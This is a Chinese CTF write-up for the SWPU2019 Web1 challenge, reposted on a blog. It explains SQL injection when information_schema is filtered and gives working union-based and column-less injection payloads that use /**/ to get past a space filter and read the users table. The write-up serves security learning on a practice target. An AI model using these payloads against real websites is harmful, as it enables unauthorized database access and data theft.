[SWPU2019]Web1
0x00 知识点
bypass information_schema
参考链接:
https://www.anquanke.com/post/id/193512
进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?
information_schema:
简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。
在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
MySQL5.7的新特性:
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
mysql默认是关闭InnoDB存储引擎的
注入中在mysql默认情况下就可以替代information_schema库的方法
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息
想通过注入获取到没有自增主键的表的数据怎么办?
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
payload:
schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
获取字段名
获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
获取次列及后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
限制:
mysql ≥ 5.7版本
般要超级管理员才可以访问sys
2:无列名注入
参考链接:
https://www.jianshu.com/p/6eba3370cfab
在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
正常查询:
使用union查询:
就可以继续使用数字来对应列,如2对应了表里面的用户名:
当 ` 不能使用的时候,使用别名来代替:
反单引号表示列名或者表名
在注入中查询多个列:
语句
一般都是:
(select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名
((select c from (select 1,2,3 c union select * from users)b)) 1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
0x01解题
这是一个留言板的二次注入
登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。
题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号
本题在但是比赛中
bypass information_schema
是利用的
sys.schema_auto_increment_columns 库来进行查询
导致网上很多wp都是这样写的。。
实际上本题无法使用
buuoj的平台没有 sys.schema_auto_increment_columns 这个库
而且一般要超级管理员才可以访问sys
所以一般还可以用这个方法
在buuctf环境中这个也不行
还有一种方法:
前提是users表存在
但是这个方法也不行 ,polygon和lingstring被过滤
那么我们看似有多种解法,其实BUU环境下这个题目我们只能进行无列名注入
首先,我们先确定列数:
1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/
接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位
注意,在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试。。最后发现users里有三列
我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
直接查询b列试试
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
参考链接:
https://www.cnblogs.com/tlbjiayou/p/12014926.html
[SWPU2019]Web1的更多相关文章
- [SWPU2019]Web1 空格过滤用/**/ 注释过滤闭合单引号 imformation_schema.columns/tables过滤 用5.7新特性 或无名注入(此处database()不能用)
0x00 知识点 二次注入流程分析 二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤: 插入恶意数据(发布帖子,注册账号),用mysql_escape_string()函数对 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
- Web1.0、Web2.0、Web3.0的主要区别
Web1.0:以静态.单向阅读为主,网站内信息可以直接和其他网站信息进行交互,能通过第三方信息平台同时对多家网站信息进行整合使用. Web2.0:以分享为特征的实时网络,用户在互联网上拥有自己的数据, ...
- 从ASP.NET的web1子界面刷新打开web1的web0父界面
单击web0界面的按钮bt1触发一下代码: protected void btnSave_Click(object sender, EventArgs e) { string parentJs = @ ...
- 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...
- WebX.0:Web1.0
ylbtech-WebX.0:Web1.0 web1.0时代是一个群雄并起,逐鹿网络的时代,虽然各个网站采用的手段和方法不同,但第一代互联网有诸多共同的特征,表现在技术创新主导模式.基于点击流量的盈利 ...
随机推荐
- windows 禁用中文输入法(转)
源博客地址:http://blog.csdn.net/xie1xiao1jun/article/details/17913967 windows 程序禁用中文输入法方法:1.添加windows头文件及 ...
- 20170430深圳Meetup
一.类似于淘宝网,可以连续选择多个商品筛选条件,这多个参数如何传递到后台,进行数据交互? 方案一: def index // 给view提供多个参数 @param1 = ... @param2 = . ...
- 从PC厂商狠抓粉丝经济看,春天将至?
10月中旬,市场研究机构IDC发布的全球三季度PC出货量报告显示,第三季度全球个人电脑出货量总计6740万台,比去年同期下降0.9%.似乎这一数据的发布,依旧在证明着PC市场的颓势.但在这样的大背景下 ...
- shell中取字符串子串的几种方式 截取substr
shell中取字符串子串的几种方式 echo "123456789" | awk '{print substr($0,5,2)}' 截取 1)awk中函数substrsubstr( ...
- tomcat-jvm内存问题
http://www.360doc.com/content/14/0617/12/114824_387440563.shtml http://27091497.blog.163.com/blog/st ...
- objectarx 批量倒角
这个插件支持AcDbPolyline的倒角,封闭的和没封闭的都可以.刚开始做的时候,发现倒一个角借助云幽课堂里的代码就可以做,后来做一条从左开始画的非封闭的多段线,发现向上凹和向下凹的角不能同时被倒, ...
- [Machine Learning][BP]The Vectorized Back Propagation Algorithm
Reference: https://www.cs.swarthmore.edu/~meeden/cs81/s10/BackPropDeriv.pdf I spent nearly one hour ...
- 4. 异步多级缓存架构+nginx数据本地化渲染
- 说说lock到底要锁谁?
波安搬... http://www.cnblogs.com/wolf-sun/p/4209521.html ---------------------------------------------- ...
- 2016蓝桥杯决赛C/C++A组第四题 路径之谜
题意: 小明冒充X星球的骑士,进入了一个奇怪的城堡.城堡里边什么都没有,只有方形石头铺成的地面. 假设城堡地面是 n x n 个方格.[如图1.png]所示. 按习俗,骑士要从西北角走到东南角.可以横 ...